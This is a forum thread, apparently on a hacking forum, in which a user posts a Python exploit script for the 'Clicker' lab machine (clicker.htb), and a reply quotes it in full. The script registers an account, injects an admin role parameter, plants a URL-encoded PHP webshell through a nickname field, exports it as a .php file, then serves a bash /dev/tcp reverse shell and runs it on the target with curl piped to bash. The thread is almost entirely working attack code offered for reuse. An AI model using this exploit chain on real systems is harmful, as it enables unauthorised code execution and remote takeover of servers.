Clicker www-data POC script
by 1231 - Sunday September 24, 2023 at 11:34 PM
#1
for all the skiddies

from bs4 import BeautifulSoup
import requests
import sys
import subprocess
import random

if len(sys.argv) < 2:
    print("Usage: python3 poc.py <listener ip> <listener port>")
    sys.exit(1)
 
username = random.randint(100, 100000)
password = random.randint(100, 100000)
url = "http://clicker.htb/"

session = requests.Session()

print("[+] Creating user")
reg = session.post(url + "create_player.php", data={"username": username, "password": password})
print("[+] Username: " + str(username), "Password: " + str(password))

login = session.post(url + "authenticate.php", data={"username": username, "password": password})
print("[+] Gaining admin rights")
admin = session.get(url + "save_game.php/?clicks=1000&level=100&role/**/=Admin")

logout = session.get(url + "logout.php")
login = session.post(url + "authenticate.php", data={"username": username, "password": password})

print("[+] Creating webshell")
nickname = session.get(url + "save_game.php/?clicks=1000&level=100&nickname=%3C%3F%70%68%70%20%73%79%73%74%65%6D%28%24%5F%47%45%54%5B%27%63%6D%64%27%5D%29%20%3F%3E")
export = session.post(url + "export.php", data={"extension": "php"})

response_text = export.text
soup = BeautifulSoup(response_text, 'html.parser')
message_element = soup.find('h5', {'name': 'msg'})
if message_element:
    message_text = message_element.text
    split_result = message_text.split("Data has been saved in ")
    if len(split_result) > 1:
        path = split_result[1]
        print("[+] Webshell path:", path)
    else:
        print("[-] Path not found in the message.")
        print("[-] Error, failed.")
        sys.exit(1)
     
with open('revshell.sh', 'w') as f:
        f.write("#!/bin/bash\n")
        f.write(f"bash -i >& /dev/tcp/{sys.argv[1]}/{sys.argv[2]} 0>&1")
proc = subprocess.Popen(["python3", "-m", "http.server", "8000"])
trigger = requests.get(url + path + f"/?cmd=curl {sys.argv[1]}:8000/revshell.sh | bash")
proc.terminate()
Reply
#2
cool stuff man - made repeating this less troublesome and stopped me from making a burp macro lol
Reply
#3
(09-24-2023, 11:34 PM)1231 Wrote: for all the skiddies

from bs4 import BeautifulSoup
import requests
import sys
import subprocess
import random

if len(sys.argv) < 2:
    print("Usage: python3 poc.py <listener ip> <listener port>")
    sys.exit(1)
 
username = random.randint(100, 100000)
password = random.randint(100, 100000)
url = "http://clicker.htb/"

session = requests.Session()

print("[+] Creating user")
reg = session.post(url + "create_player.php", data={"username": username, "password": password})
print("[+] Username: " + str(username), "Password: " + str(password))

login = session.post(url + "authenticate.php", data={"username": username, "password": password})
print("[+] Gaining admin rights")
admin = session.get(url + "save_game.php/?clicks=1000&level=100&role/**/=Admin")

logout = session.get(url + "logout.php")
login = session.post(url + "authenticate.php", data={"username": username, "password": password})

print("[+] Creating webshell")
nickname = session.get(url + "save_game.php/?clicks=1000&level=100&nickname=%3C%3F%70%68%70%20%73%79%73%74%65%6D%28%24%5F%47%45%54%5B%27%63%6D%64%27%5D%29%20%3F%3E")
export = session.post(url + "export.php", data={"extension": "php"})

response_text = export.text
soup = BeautifulSoup(response_text, 'html.parser')
message_element = soup.find('h5', {'name': 'msg'})
if message_element:
    message_text = message_element.text
    split_result = message_text.split("Data has been saved in ")
    if len(split_result) > 1:
        path = split_result[1]
        print("[+] Webshell path:", path)
    else:
        print("[-] Path not found in the message.")
        print("[-] Error, failed.")
        sys.exit(1)
     
with open('revshell.sh', 'w') as f:
        f.write("#!/bin/bash\n")
        f.write(f"bash -i >& /dev/tcp/{sys.argv[1]}/{sys.argv[2]} 0>&1")
proc = subprocess.Popen(["python3", "-m", "http.server", "8000"])
trigger = requests.get(url + path + f"/?cmd=curl {sys.argv[1]}:8000/revshell.sh | bash")
proc.terminate()



Thanks alot brother
Reply
#4
real cool ! thanks
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [ Survey ] Data Exfiltration Threads viceCoolMan 0 291 08-16-2024, 07:02 AM
Last Post: viceCoolMan

Forum Jump:


 Users browsing this thread: